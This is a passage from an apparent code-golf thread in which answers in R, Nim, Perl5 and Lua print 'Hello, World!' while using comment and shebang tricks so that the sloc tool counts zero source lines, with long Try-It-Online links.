here](https://tio.run/##tVltj9u4Ef6uX8G1e7CdteXdHA7IJXG217tre@ilAZoA/bD2HWSJtrSrtxPpXRub/PZ03ihTshO0H7oLiDQ1MxwOh88MR3G12Wht4iar7fPPw@Ew@JBmRtVNtW2iQkE3yYxtsvXO6kTtykQ3yqZaWd0URlUb@vH2lw8qz2JdGh0GP1b1ocm2qVXPr66fqxk2L9Q4nqi3UXO/M@ofVZqnkdHqdRFl@Z8LGp3dy2iY6DcB6hHc64NRC3UbKDWylY3ykaK/oarTg8niKIdJS01axFWikc5UuybWI6FrX/MwEsRVUejSjnyCx8ymSl4YkpKV27wnhYj4xQxHOgzrvIrvW/U8BnrRIS2yvU56pDSmdrVMQsqqqExO5/i5qO1hBIwaO/5MUXcu5NBMLFN5HGzRpBpBZxUEZVWSXKRbqPntb0uzmge6TN5tfsWV0uif5kVQ6sdfaUYeWpbzbUBiZRTGgPcZkG4DlO@IcTx89uHdT@9Cfhlstf2RFf15XzfamKwqcbPHeVRuJ2r2JghQZ7a36ttbhhcBKmJg@XGqkDEIeLGPqS7VICbXHkzVAFwzGcg7BXoPYYlPqzlMAB6X2mirysqqTZXn1SNsxPqgqlqXMImKd01@UOsmIu/xZDcotz7gMzf4LKo4zbBTZntsiKBZ4/MuJ2J6HqKC2pTfgwRfr3lnkjsSfGdIXsG/Ynrws66p4fE9UaVESg98Llvh8DdImSFlSmbIyoomiR4iUjKtpfkO2y293DZV9XA4EWdiQ1PnmtuGnibiX8YeaKEGzimJhn3aWOxYcyLqLkpoo7bEWu6I7l6ehplI3Y3hZ8YNja1NfiIwiRrijrZJ5Ft4/vT807zrJnlkNcmRBhQng8K2tozGgjxy@W@6W5TvaG0pL/mP3JtrNuuS6sZ/2xe0bsSLSoA97D2sPepRl7jMiuPLRs6BkM7n3q/xzUvPKkNw83IWR7XdNejcsK@72jeb@q1DzasG@MTz16GD8zNcPXN0UXlQcRo1CoKEGg1HHunEV8aX0Io/VWI59Kn0PopBCQCAr0j@H5c5vrnwqfU2stkDwExV3UepjpIOMax2OVxerM6vlWB6dDHqsEy@oKe/OU34exEBcP0NtfsdfOsapCdZAzC8yfZHss7GN3wm4vxOGnKalBwmMp5TzF/1/JRIsvxwxqd7nrj5/ooO1/eEAJurb7l5Qc31C9@HLxynziGcl7s8J9genoa9E5D@GkQ7zYytajp0w6dv3an9PyDjf4OLjPEC7V2Q9CUxXgoutkh4Hif7@NiHRQHDFny/BouIPNPzqHeErvny2eW8HQXT0ugzwMTrrnXrg02r8hjgvCh1sjUD2JqPy1F/g1I4FrleR7zWdM3gtgP2ONWnqj3B/0VHNxz9tOwJNWc4ZydLmvXZrIRcS9tvHrbY7HnwYXeqzuvlxeyM2NmbjliE/j7nbLa8pQhzwrtcHSMP8wvU90UMG13Ms76AIWRjMBqcjQEAYVmBqQwAn2o05MXd80dYlVTxccBU6lFTZg8AuctM2kpaa/uoQf65zIuwzpdzshtDb/FD1h5uEKB7J4oIlq1Pd3Ox1tusPHXSBS7fXz0C4Ynllh9POT8Ou8CRn046XC7OzLjsMrK3FHl2Ngs5kTlePjt31CZdD@qD8hGSl08n7N@0bo1oK2@zDWGqykoIlBYuYJRHWxTfO6qEzh5a27SpHiH2PaoPh1r/3DRVowZ/zWDPW0EQ355Q@qcR7iKmyGZX11VjEapB1hPPMaUpps5lPgVBXO1K@5YuNZDSQ3o/5XvHVGXJfspcv2CPIqBL92EtY3cVCfVex8x0e7WakOehoDCPjL0JnWeBOAV6O4EyxCEXqeliFdY7kzLNS6dAVVOXZyUtbmiOc/PPrsNwBVqEZreGq7C6Er3DDG7D@6/MdVwnT@h@0/XnPQz9S2/1Hk1kYQumIAV@kjXagIkvjh7TXkxpg9sLmkfgLqJEQPLQPkdKnBn3GydlYbIdMi1Yg72O91JsYsWZRK5TIxBXAib3vqUXfutpFXie61jYhur1Qjjkt8/Gc7RzBmR73GxYQoFqq0K4LlWB25TrcmvTQG6mfK2MiTAOiXl8vLNOboQczXQV0A235Ctrj8fdffscdM8tzRmO9gbcZyFt320o86NVIPlUlW4PcGldD8v2lzJ0m7kFwn21URme/Ftw0HJFZGKen/QGJk7aGcATplQjkSnAX2EYRm/Y0aV8MlRU/KGiDyaiGDcyqx6r5t6oV7MJOwgw82EZb50QP5Wd3LRHgrdloToLJjjYOhrYMBJibrcrVkzg40cXdNCuoJ5/PICwOBidb1p4YQo8@7xAlATpf0krzbg@hOsajZz74QhOjoPLcuRODDGhT7H8VnhosMA1vp5M1eUlIkdwBGy3XR2rk7ahAKTY91i5@DKDHEriIJZdiYmju4w1IkKg3ENaT9U6z@wYVzWZCsp1LcKCLeOAQ4QOHDAFKYkhpAdGZ@Goo9cZNPLkxu8dYIshsEsdfs1bT6eQF0TAS/UYx0mEuStGnRCOuyA9YZvQTh83DmcFTpLiDtUM7mGXrdE4@PIEpzs27sC4h@EUnybTthbX3ceqbjfEhJoC70IdtPnCNmkpzS1UC2g9o3gLnXq2vTzatp3UmXbhep6YK45TXlgDm8jiBRePxUWwDVr0BxLlTenEijkvSaSHyqxEos9tmhMpTtJz7a9kEEGLOJgeUM7z1QAMaoE6UzboS25aQMJ9XHEcdxJZ/hlUmPZEIqFtoqKuKHEW8ic@Gi9vV1POzKlH@QL0PjlRGEyOvIBsJWRigmfYpW3Y2/EEThfmaagopNX0ClFssytjC2nbSOiDAAW93xUMoQynLr2g0SvoYRSJpxRHOmk9pW4xZ1ozFYeSJVyqa349mzGKMsttdnm9umEiVIYZ2U9gKoheCc8aBAYs8LZKdgSDAu2YZU5VVdvF0yeH8HJeZJUOwAfsKpwxn81hR0g6ouuQreA@oyLleALxPXG8Rtd5FGvIzJtl@XHZzEEHQQiP7PYqDMPZ9aoNGpQPurhBO44fJzhnQPBozwqGW9AIDfaFQyyh2B0GP@yxYc7XyamMckzSGMJwo9FhWxzmS2D/NY1iAKWT1X9Lo4GPEyzl8gjvmNawwi71kZWsCU/JDGv2G/StNXpWO/HkKBscCN8b915WQ5HDOE8qSapbDH@lYL/1BsC79iFbGCXuOzOinfiDCmmMOzVrlzeTjbnsiGPbsLeUpoKsNK@2LpMAJw0Tvd5t@QsFjO5yS5chEj6V2Vrwn7aBlaaQcy/YMyUbTv3Z4frk3eT481db0HFFPioXYxvzU5r8zrXyNpeWy2zUrWtuG26EwEi7p7ssF5KwI0VrKgpy@x23V99K@4Lba2nP3IyxKkYNV7ICLm1hk/LzpFYUSFGOWlY0lVGvlkO/99JIy@JdMdHdramaF7jvDNx5YINyQWAgBrsTjQv5zVUGKrZhy58KqKfFYjKBFIMGYvAilybjlr4Ncc8VfTrVMKoscsvrwloftn6pkX6zYC7IDdg0XEhxJRFXrRuIh1AVkjpUaAzchxvq2INrWS7Wxqj9Q37TNxvsuYWLJawYir9SuCoaFdWwpa9ctEh@itMaGFz5ESDsuPrxR4dGvgNjEwRD9cPbn1wdIoDzmFBGdhNGRXLDiSaPYLg@CkHGfyLm35mW2d1dC6LAmxAOG5FSOAVpEHOKjrC/QOQxujkR9gjZU/UoMvhHiJw9AcYmAFIL/M4egyuF@L3xPY6NJ4HEnsGAqUIsxCSRjUZTCJfprrznWyZSAfLRiEcJd30gpCDvo5cXdTmyuJmjZvtw@3z1@fPn0Wg0GAzg@aqGcGnHg7/rPAdw@nfV5MnFYPKK38Lzc334Dw). The below snippet has been modified (40 bytes) so that the snippet runner and some browsers that style the <html> (causing a double-output) display properly. ``` /**/* :after{content:"Hello, World!"/**/ ``` [Answer] # [R](https://www.r-project.org/), 43 bytes ``` #!/usr/bin/rscript -e cat('Hello','World!') ``` Count the zero [source lines of code](https://tio.run/##tVptj9vGEf7OX7EnNZDko6g7GwEcx8o1ddI2aFwDtYF@OCkBRa5E3vEtXPJOwtm/3Z23pZaUbLQfega4q@XM7Ozs7DOzQ0fldqu1ieq0ap5/Ho/H3ockNaqqy10d5gq6cWqaOt20jY5VW8S6Vk2iVaPr3KhySz/e/vJBZWmkC6MD701ZHep0lzTq@dX1czXH5qWaRjP1NqzvW6P@USZZEhqtXudhmv05p9H5vYwGsf7BQz28e30waqluPaUmTdmE2UTR31hVycGkUZjBpIUmLaIy1khnyraO9EToutc8jARRmee6aCYuwWPaJEpeGJKSFrtsIIWI@MUcR3oMm6yM7jv1HAZ60SPN072OB6Q0ptpKJiFlVVjEp3P8nFfNYQKMGjvuTGF/LuTQTCxTORxs0bicQGfteUVZkFykW6rF7W8rs154uojfbX/FldLonxa5V@jHX2lGHloVi51HYmUUxoD3GZDuPJRviXE8ePbh3U/vAn7p7XTzhhX9eV/V2pi0LHCzp1lY7GZq/oPnoc5sbzW0twwvPVTEwPKjRCGj5/FiHxNdqFFErj3y1QhcMx7JOwV6j2GJT@sFTAAelzThThVlo7ZllpWPsBGbgyorXcAkKmrr7KA2dUje48iuUW51wGdm8JmXUZJip0j32BBBvcHnXUbE9DyEObUJvwcJrl6L3iR3JPjOkLycf0X04GdVUcPje6JKiJQe@Fx1wuFvlDBDwpTMkBYlTRI@hKRkUknzLbY7ermry/LhcCLORIamzjS3NT1NyL9Mc6CFGjinJBr2adtgpzEnou7CmDZqR6xFS3T38jTMROpuDT9TbmhsY7ITgXFYE3e4i0PXwoun558WfTfJwkaTHGlAcTIobGvHaBqQRy7/TX@LspbWlvCS/8icuebzPqmu3bdDQZtavKgA2MPew8ahnvSJizQ/vqzlHAjpYuH8mt68cqwyBjcv5lFYNW2Nzg372lau2dRvPWpeNcAnnr8eHZyf8fqZpQuLg4qSsFYQJNRkPHFIZ64yroRO/KkSq7FLpfdhBEoAAHxF8v@4zOnNhUutd2GTPgDMlOV9mOgw7hHDalfj1cX6/FoJpicXkx7L7At6uptTB7/nIQDX31C738G3rkF6nNYAw9t0fyTrbXzNZyLK7qQhp0nIYULjOMXi@4GfEkmaHc749MATt99d0eH6jhBge/WCm5fUXL90ffjCcuoMwnnRZhnB9vg07J2A9Ncg2mpmmrKiQzd@emFP7f8BGf8bXGSMF2jvg6QrifFScLFDwvM4OcTHISwKGHbg@zVYROTxz6PeEboWq2eXi24UTEujzwATr/vWrQ5NUhbHAOdEqZOtGcHWfFxNhhuUwLHI9CbktSYbBrcW2KNEn6r2BP8uerrh6KfVQKg5wzk/WdJ8yNZIyG1o@83DDps9Dz60p@q8Xl3Mz4id/9ATi9A/5JzPV7cUYU54V@tj5GF@gfqhiHGt80U6FDCGbAxGvbMxACAszTGVAeBTtYa8uH/@CKviMjoOmFI9asrsASDb1CSdpI1uHjXIP5d5Eda5ck52Y@wsfszaww0CdO9FEcGyzeluLjd6lxanTrrE5burRyA8sdzq4ynnx3EfOLLTScer5ZkZV31G9pY8S89mIScyp6tn547arO9BQ1A@QvLq6YT9m86tEW3lbbolTFVpAYGygQsY5dENih8cVUJnB62bpC4fIfY9qg@HSv9c12WtRn9NYc87QRDfnlD6pwnuIqbIpq2qsm4QqkHWE8/h0xS@dZlPnheVbdG8pUsNpPSQ3vt87/BVGu995voFexQBbboPa5naq0ig9zpiptur9Yw8DwUFWWiam8B6FohToLcVKEMccpGaLlZB1ZqEaV5ZBcqKujwraXFDc5ybf34dBGvQIjDtBq7C6kr0DlK4De@/MtdxnTyh/U3Xn/cw9C@903s0UQNb4IMU@EnW6AImvjh6THcxpQ3uLmgOgb2IEgHJQ/scKXFm3G@clIXJdsi0YA32Ot5LsUkjziRyrRqeuBIw2fcdvfA3jlae47mWhW2oXi@FQ367bDxHN6dHtsfNhiXkqLbKhetS5bhNmS52TeLJzZSvlRERRgExT4931tmNkKOZrjy64RZ8ZR3w2LvvkIPuuYU5w9HdgIcspO27LWV@tAok91Vh9wCX1vewdH8pQ7epXSDcV2uV4sm/BQct1kQm5vlJb2HiuJsBPMGnGolMAf4KwzB6w44u5ZOxouIPFX0wEcW4kTbqsazvjfp@PmMHAWY@LNOdFeKmsrOb7kjwtixVb8EEBztLAxtGQsztbs2KCXy8sUEH7QrquccDCPOD0dm2gxemwLPPC0RJkP4XtNKU60O4rsnEuh@O4OQ4uCom9sQQE/oUy@@EBwYLXNPrma8uLxE5vCNg2@3qWZ20DQQgxb7HysWXGeRQEgextAUmjvYyVosIgXIHaR1VqyxtpriqmS8o17cIC24YBywi9OCAKUhJDCEDMDoLRz29zqCRIzd6bwFbDIFd6vBr3no6hbwgAl6qx1hOIsxsMeqEcNoH6RnbhHb6uHE4K3CSFHuo5nAPu@yMxsGXJzjdsWkPxh0Mp/g087taXH8fy6rbEBNoCrxLddDmC9ukpTS3VB2gDYziLNR3bHt5tG03qTXt0vYcMVccp5ywBjaRxQsuHouLYBu06I8kypnSihVzXpJIB5VZiVif2zQrUpxk4NpfySC8DnEwPaCc56sBGNQCdXw26CtuOkDCfVxzHLcSWf4ZVPAHIpGwqcO8KilxFvInPhqvbtc@Z@bUo3wBep@sKAwmR15AtgIyMcEz7NI27JvpDE4X5mmoKKTV9ApRbNsWUQNp20ToPQ8FvW9zhlCGU5te0OgV9DCKRD7FkV5aT6lbxJnWXEWBZAmX6ppfz@eMosxym15er2@YCJVhRvYTmAqiV8yzep4BC7wt45ZgUKAds0xflVWzfPpkEV7Oi6zSAviIXYUz5rM57ARJJ3Qdakq4z6hQWR5PfE8cr9ZVFkYaMvN6VXxc1QvQQRDCIbu9CoJgfr3uggblgzZu0I7jxwnOGRA8urOC4RY0QoN94RBLKLaHwQ17bJjzdXIqoxyTNIYw3Gh02A6H@RI4fE2jGEDpZA3f0qjn4gRLuTzCO6Y1rLBNfWQlG8JTMsOG/QZ9a4Oe1U08O8oGB8L3xr6X1VDkMNaTCpJqF8NfKdhvnQHwrn3AFkaJ@96MaCf@oEIa407Nu@XNZWMue@LYNuwthSkhK83Knc0kwEmDWG/aHX@hgNE2a@gyRMJ9ma0Df78LrDSFnHvBHp9s6Luzw/XJucnx56@uoGOLfFQuxjbipzTZnW3lbSYtl9moW1Xc1twIgZF2T3dZLiRhR4rWVBTk9ltur15I@5Lba2nP3IyxKkYNV7I8Lm1hk/DzpFbkSVGOWlY0kVGnlkO/99JIy@JtMdHerama59nvDNx5YINyQWAkBrsTjXP5zVUGKrZhy58KqKfFYjKBFINGYvA8kybllr4Ncc8WfXrVMKoscsvrwloftm6pkX6zYC7Ijdg0XEixJRFbrRuJh1AVkjpUaPTshxvqNAfbslysjVH7h/ymbzbYswsXSzRiKP5KYatoVFTDlr5y0SL5KU5rYHDtRoCg5@rHHz0a@Q6MjeeN1Y9vf7J1CA/OY0wZ2U0Q5vENJ5o8guH6KAQZ/4mYf2c6Znt3zYkCb0I4bERKbhWkQcwpesL@ApHH6PpE2CNkT@WjyOAfAXIOBJgmBpBa4nf2CFwpwO@N73FsOvMk9oxGTBVgISYOm3DiQ7hM2uKeb5lIBchHIw4l3PWBkIK8i15O1OXIYmcO693D7fP158@fxxeL1tSLTVosav4PAWoO1CFcJf6us6yc@JN/l3UWX0xmn@v/AA) I'm not sure whether this is completely valid. It's a full program that must be launched directly from the shell (so it does not work in 'Try it Online' or 'rdrr.io' for instance, or when copy-pasted into the [R](https://www.r-project.org/) console). Save as "helloworld.r" with execute permission, and run using `./helloworld.r` or, more verbosely, `exec helloworld.r > output.txt`. [R](https://www.r-project.org/) does not support multi-line comments, so the 'pairing the comment delimiter' tricks available in other languages aren't possible. The only (single line) comment character is `#`, and everything following it up to the next newline is not executed. However, the shebang line starting with `#!` is counted by "sloc" as a comment, even though it will be read and interpreted by the program loader. Usually, the shebang line simply tells the program loader which interpreter to use to run the rest of the program. So, this is a more-conventional 2-line (sloc=1) [R](https://www.r-project.org/) program to accomplish the same task: ``` #!/usr/bin/rscript cat('Hello','World!') ``` But - we can also include command-line arguments in the shebang line, and the rscript interpreter accepts the `-e` flag to pass it the program code as an argument, which is what the sloc=0 code does here. So: the program is valid in [R](https://www.r-project.org/) and the program code is run by [R](https://www.r-project.org/), but it requires to be launched from the shell and uses the help of the program loader. Is this valid? I don't know. But it's the only way that I could think of to 'trick' sloc in a language without multi-line comments... [Answer] # Nim, 24 bytes ``` #[]#echo"Hello, World!" ``` [Try it online!](https://tio.run//##y8vM/f9fQTk6Vjk1OSNfySM1JydfRyE8vygnRVHp/38A) [Verify sloc](https://tio.run/##tVltb9vIEf7OX7GWepBkS5Sd4IBcLjr3mqTtoZcGaAL0g6U7UORKpM2345K2BMe/PZ23pZaUYrQfagPc1XJmdnZ29pnZYVhsNlqbsErK@sXX4XDofY4To8qq2FZBpqAbJaauknVT60g1eaQrVcda1brKjCo29OPDL59VmoQ6N9r33hblvkq2ca1eXF69UDNsXqlxOFEfguquMeofRZzGgdHqTRYk6Z8zGp3dyagf6Z881MO703ujFurGU2pUF3WQjhT9DVUZ700SBilMmmvSIiwijXSmaKpQj4Sufc3DSBAWWabzeuQSPCR1rOSFISlJvk17UoiIX8xwpMOwTovwrlXPYaAXHdIs2emoR0pjqillElJWBXl0PMf7rKz3I2DU2HFnCrpzIYdmYpnK4WCLRsUIOivPy4uc5CLdQs1vflua1dzTefRx8yuulEb/NM@8XD/8SjPy0DKfbz0SK6MwBrznQLr1UL4lxnH//PPHdx99fultdf2WFX2/KyttTFLkuNnjNMi3EzX7yfNQZ7a36ttbhhceKmJg@WGskNHzeLEPsc7VICTXHkzVAFwzGsg7BXoPYYmPqzlMAB4X18FW5UWtNkWaFg@wEeu9KkqdwyQqbKp0r9ZVQN7jyK5QbrnHZ2rwmRVhnGAnT3bYEEG1xudtSsT03AcZtTG/BwmuXvPOJLck@NaQvIx/hfTgZ1lSw@M7ooqJlB74XLbC4W8QM0PMlMyQ5AVNEtwHpGRcSvM9tlt6ua2K4n5/JM6EhqZONbcVPU3Av0y9p4UaOKckGvZpU2OnNkeiboOINmpLrHlDdHfyNMxE6m4MPxNuaGxt0iOBUVARd7CNAtfC88cXT/Oum6RBrUmONKA4GRS2tWU0Ncgjl/@uu0VpQ2uLecl/pM5cs1mXVFfu276gdSVelAPsYe9@7VCPusR5kh1eVnIOhHQ@d36Nr187VhmCm@ezMCjrpkLnhn1tStds6rcONa8a4BPPX4cOzs9wdW7pgnyvwjioFAQJNRqOHNKJq4wroRV/rMRy6FLpXRCCEgAAz0j@H5c5vj5zqfU2qJN7gJmiuAtiHUQdYljtcrg8W51eK8H06GzUYZl8Q093cyr/9ywA4Pobavc7@NYVSI@SCmB4k@wOZJ2Nr/hMhOmtNOQ0MTlMYBynmP/Y81MiSdL9CZ/ueeLmh0s6XD8QAmwuX3LzipqrV64Pn1lOnUI4z5s0JdgeHoe9I5B@DqKtZqYuSjp0w8eX9tT@H5Dxv8FFxniB9i5IupIYLwUXWyQ8jZN9fOzDooBhC77PwSIiz/Q06h2ga748v5i3o2BaGj0HTLzqWrfc13GRHwKcE6WOtmYAW/NlOepvUAzHItXrgNcarxncGmAPY32s2iP8n3V0w9GnZU@oOcE5O1rSrM9WS8itafvN/RabHQ/eN8fqvFmezU6Inf3UEYvQ3@eczZY3FGGOeJerQ@RhfoH6vohhpbN50hcwhGwMRr2TMQAgLMkwlQHgU5WGvLh7/giroiI8DJhCPWjK7AEgm8TEraS1rh80yD@VeRHWuXKOdmPoLH7I2sMNAnTvRBHBsvXxbi7Wepvkx066wOW7q0cgPLLc8ssx55dhFzjS40mHy8WJGZddRvaWLE1OZiFHMsfL81NHbdL1oD4oHyB5@XjE/l3r1oi28jbZEKaqJIdAWcMFjPLoGsX3jiqhs4PWdVwVDxD7HtTnfanfV1VRqcFfE9jzVhDEt0eU/jTCXcQU2TRlWVQ1QjXIeuQ5pjTF1LrMk@eFRZPXH@hSAyk9pPdTvndMVRLtpsz1C/YoAtp0H9YytlcRX@90yEw3l6sJeR4K8tPA1Ne@9SwQp0BvK1CGOOQiNV2s/LIxMdO8tgoUJXV5VtLimuY4Nf/syvdXoIVvmjVchdWl6O0ncBvePTPXYZ08of1N159PMPQvvdU7NFENWzAFKfCTrNEGTHxx8Jj2Ykob3F7QHAJ7ESUCkof2OVDizLjfOCkLk@2QacEa7HW8l2KTWpxJ5Fo1PHElYLLvW3rhrx2tPMdzLQvbUL1ZCIf8dtl4jnZOj2yPmw1LyFBtlQnXhcpwm1Kdb@vYk5spXytDIgx9Yh4f7qyTayFHM116dMPN@cra47F33z4H3XNzc4KjvQH3WUjbjxvK/GgVSD5Vud0DXFrXw5LdhQzdJHaBcF@tVIIn/wYcNF8RmZjnnd7AxFE7A3jClGokMgX4KwzD6DU7upRPhoqKP1T0wUQU40ZSq4eiujPqx9mEHQSY@bCMt1aIm8pOrtsjwduyUJ0FExxsLQ1sGAkxN9sVKybw8dYGHbQrqOceDyDM9kanmxZemALPPi8QJUH6n9NKE64P4bpGI@t@OIKT4@AyH9kTQ0zoUyy/Fe4bLHCNryZTdXGByOEdANtuV8fqpK0vACn2PVQuvs0gh5I4iKXJMXG0l7FKRAiUO0jrqFqmST3GVU2mgnJdi7DgmnHAIkIHDpiClMQQ0gOjk3DU0esEGjlyw08WsMUQ2KUOv@atp1PICyLgpXqM5STC1BajjgjHXZCesE1opw8bh7MCJ0mxh2oG97CL1mgcfHmC4x0bd2DcwXCKT5NpW4vr7mNRthtifE2Bd6H22nxjm7SU5haqBbSeUZyFTh3bXhxs205qTbuwPUfMJccpJ6yBTWTxgouH4iLYBi36M4lyprRixZwXJNJBZVYi0qc2zYoUJ@m59jMZhNciDqYHlPM8G4BBLVBnygZ9zU0LSLiPK47jViLLP4EK055IJKyrICsLSpyF/JGPxuub1ZQzc@pRvgC9JysKg8mBF5Ath0xM8Ay7tA27ejyB04V5GioKaTW9QhTbNHlYQ9o2EnrPQ0GfmowhlOHUphc0egk9jCLhlOJIJ62n1C3kTGumQl@yhAt1xa9nM0ZRZrlJLq5W10yEyjAj@wlMBdEr4lk9z4AFPhRRQzAo0I5Z5lQVZb14fLIIL@dFVmkBfMCuwhnzyRx2hKQjug7VBdxnVKAsjye@J45X6TINQg2ZebXMvyyrOeggCOGQ3Vz6vj@7WrVBg/JBGzdox/HjBOcMCB7tWcFwCxqhwb5xiCUU28Pghj02zOk6OZVRDkkaQxhuNDpsi8N8Cey/plEMoHSy@m9p1HNxgqVcHOAd0xpW2KY@spI14SmZYc1@g761Rs9qJ54cZIMD4Xtj38tqKHIY60k5SbWL4a8U7LfOAHjXzmcLo8RdZ0a0E39QIY1xp2bt8mayMRcdcWwb9pbcFJCVpsXWZhLgpH6k182Wv1DAaJPWdBki4VOZrQX/aRtYaQo594I9U7Lh1J0drk/OTY4/f7UFHVvko3IxtiE/pUlvbStvU2m5zEbdsuS24kYIjLQ7ustyIQk7UrSmoiC333N7@VLaV9xeSXviZoxVMWq4kuVxaQubmJ9HtSJPinLUsqKxjDq1HPq9k0ZaFm@LifZuTdU8z35n4M49G5QLAgMx2K1onMlvrjJQsQ1b/lRAPS0WkwmkGDQQg2epNAm39G2Ie7bo06mGUWWRW14X1vqwdUuN9JsFc0FuwKbhQootidhq3UA8hKqQ1KFCo2c/3FCn3tuW5WJtjNo/5Dd9s8GeXbhYohZD8VcKW0Wjohq29JWLFslPcVoDgys3AvgdVz/86NDId2BsPG@ofv7wztYhPDiPEWVk136QRdecaPIIhuuDEGT8J2L@rWmZ7d01Iwq8CeGwESmZVZAGMafoCPsLRB6jqyNhD5A9FQ8ig3/4yNkTYOoIQGqB39lDcCUfvzd@wrHxxJPYMxgwlY@FmCiog9EUwmXc5Hd8y0QqQD4acSjhrg@EFORd9HKiLkcWO3NQbe9vXqy@fv2qhjeroQ7jYvB3naaASv8uqjQ6G3wFp/wP) sloc looks for `#` characters in Nim, but the regex is a little weird, as it cares about the position of the `#`. Presumably, this was done to try to work around the fact that it treats `##` comments separate from `#` comments. Specifically, sloc doesn't seem to know that Nim has block comments in the form of `#[` `]#`, so it treats `##` comments as block comments for its counting. This means that although we can take advantage of its misunderstanding of block comments fairly easily, we need a space at the start or it won't detect it. Or more accurately, it actually seems to detect it properly, somehow, despite there not seeming to be any code for block comments in the source. I'm really not quite sure why it works, I'd have to try to understand a regex for that. [Answer] ## Perl5 ``` $ cat script.pl #!/usr/bin/perl -Esay(Hello.chr(44).chr(32).world.chr(33)) ``` ``` $ ./script.pl Hello, world! ``` ``` sloc script.pl ---------- Result ------------ Physical : 1 Source : 0 Comment : 1 Single-line comment : 1 Block comment : 0 Mixed : 0 Empty block comment : 0 Empty : 0 To Do : 0 Number of files read : 1 ---------------------------- ``` [Answer] # Lua, 28 bytes ``` --[=[]=]print"Hello, World!" ``` [Try it online!](https://tio.run/##tVltj9u4Ef6uX8G1e7CdteXdBAfkcvFtr0naHnppgCZAP9i@gyzRlnb1dqK0a2Ozvz2dN8qU7ATth@4CIk3NDIfD4TPDUVhst1qbsErK@vmX4XDofYoTo8qq2FVBpqAbJaaukk1T60g1eaQrVcda1brKjCq29OP9L59UmoQ6N9r33hTloUp2ca2eX10/VzNsXqpxOFHvg@quMeofRZzGgdHqdRYk6Z8zGp3dyagf6Z881MO70wejFmrpKTWqizpIR4r@hqqMDyYJgxQmzTVpERaRRjpTNFWoR0LXvuZhJAiLLNN5PXIJHpI6VvLCkJQk36U9KUTEL2Y40mHYpEV416rnMNCLDmmW7HXUI6Ux1ZQyCSmrgjw6neNdVtaHETBq7LgzBd25kEMzsUzlcLBFo2IEnbXn5UVOcpFuoebL31ZmPfd0Hn3Y/oorpdE/zTMv1w@/0ow8tMrnO4/EyiiMAe8zIN15KN8S47j/7NOHtx98funtdP2GFX23LyttTFLkuNnjNMh3EzX7yfNQZ7a36ttbhhceKmJg@WGskNHzeLEPsc7VICTXHkzVAFwzGsg7BXoPYYmP6zlMAB4X18FO5UWttkWaFg@wEZuDKkqdwyQqbKr0oDZVQN7jyK5QbnnAZ2rwmRVhnGAnT/bYEEG1wedtSsT0PAQZtTG/BwmuXvPOJLck@NaQvIx/hfTgZ1lSw@N7ooqJlB74XLXC4W8QM0PMlMyQ5AVNEtwHpGRcSvM9tjt6uauK4v5wIs6EhqZONbcVPU3Av0x9oIUaOKckGvZpW2OnNieiboOINmpHrHlDdHfyNMxE6m4NPxNuaGxj0hOBUVARd7CLAtfC88fnT/Oum6RBrUmONKA4GRS2tWU0Ncgjl/@uu0VpQ2uLecl/pM5cs1mXVFfu276gTSVelAPsYe9@41CPusR5kh1fVnIOhHQ@d36Nb145VhmCm@ezMCjrpkLnhn1tStds6rcONa8a4BPPX4cOzs9w/czSBflBhXFQKQgSajQcOaQTVxlXQiv@VInV0KXS@yAEJQAAviH5f1zm@ObCpda7oE7uAWaK4i6IdRB1iGG1q@HqYn1@rQTTo4tRh2XyFT3dzan837MAgOtvqN3v4FvXID1KKoDhbbI/knU2vuIzEaa30pDTxOQwgXGcYv5jz0@JJEkPZ3y654nbH67ocP1ACLC9esHNS2quX7o@fGE5dQrhPG/SlGB7eBr2TkD6WxBtNTN1UdKhGz6@sKf2/4CM/w0uMsYLtHdB0pXEeCm42CLheZzs42MfFgUMW/D9Fiwi8kzPo94RuuarZ5fzdhRMS6PPABOvu9YtD3Vc5McA50Spk60ZwNZ8Xo36GxTDsUj1JuC1xhsGtwbYw1ifqvYI/xcd3XD0adUTas5wzk6WNOuz1RJya9p@c7/DZs@D982pOq9XF7MzYmc/dcQi9Pc5Z7PVkiLMCe9qfYw8zC9Q3xcxrHQ2T/oChpCNwah3NgYAhCUZpjIAfKrSkBd3zx9hVVSExwFTqAdNmT0AZJOYuJW00fWDBvnnMi/COlfOyW4MncUPWXu4QYDunSgiWLY53c3FRu@S/NRJF7h8d/UIhCeWW30@5fw87AJHejrpcLU4M@Oqy8jekqXJ2SzkROZ49ezcUZt0PagPykdIXj2esH/XujWirbxNtoSpKskhUNZwAaM8ukbxvaNK6OygdR1XxQPEvgf16VDqd1VVVGrw1wT2vBUE8e0RpT@NcBcxRTZNWRZVjVANsh55jilNMbUu8@R5YdHk9Xu61EBKD@n9lO8dU5VE@ylz/YI9ioA23Ye1jO1VxNd7HTLT8mo9Ic9DQX4amPrGt54F4hTobQXKEIdcpKaLlV82JmaaV1aBoqQuz0pa3NAc5@afXfv@GrTwTbOBq7C6Er39BG7D@2/MdVwnT2h/0/XnIwz9S@/0Hk1UwxZMQQr8JGu0ARNfHD2mvZjSBrcXNIfAXkSJgOShfY6UODPuN07KwmQ7ZFqwBnsd76XYpBZnErlWDU9cCZjs@5Ze@GtHK8/xXMvCNlSvF8Ihv102nqOd0yPb42bDEjJUW2XCdaky3KZU57s69uRmytfKkAhDn5jHxzvr5EbI0UxXHt1wc76y9njs3bfPQffc3JzhaG/AfRbS9sOWMj9aBZJPVW73AJfW9bBkfylDy8QuEO6rlUrw5C/BQfM1kYl53uotTBy1M4AnTKlGIlOAv8IwjN6wo0v5ZKio@ENFH0xEMW4ktXooqjujfpxN2EGAmQ/LeGeFuKns5KY9ErwtC9VZMMHBztLAhpEQs9ytWTGBjzc26KBdQT33eABhdjA63bbwwhR49nmBKAnS/5xWmnB9CNc1Gln3wxGcHAdX@cieGGJCn2L5rXDfYIFrfD2ZqstLRA7vCNh2uzpWJ219AUix77Fy8XUGOZTEQSxNjomjvYxVIkKg3EFaR9UyTeoxrmoyFZTrWoQF14wDFhE6cMAUpCSGkB4YnYWjjl5n0MiRG360gC2GwC51@DVvPZ1CXhABL9VjLCcRprYYdUI47oL0hG1CO33cOJwVOEmKPVQzuIddtkbj4MsTnO7YuAPjDoZTfJpM21pcdx@Lst0Q42sKvAt10OYr26SlNLdQLaD1jOIsdOrY9vJo23ZSa9qF7TlirjhOOWENbCKLF1w8FhfBNmjRn0mUM6UVK@a8JJEOKrMSkT63aVakOEnPtb@RQXgt4mB6QDnPNwMwqAXqTNmgr7hpAQn3cc1x3Epk@WdQYdoTiYR1FWRlQYmzkD/y0Xi1XE85M6ce5QvQe7KiMJgceQHZcsjEBM@wS9uwr8cTOF2Yp6GikFbTK0SxbZOHNaRtI6H3PBT0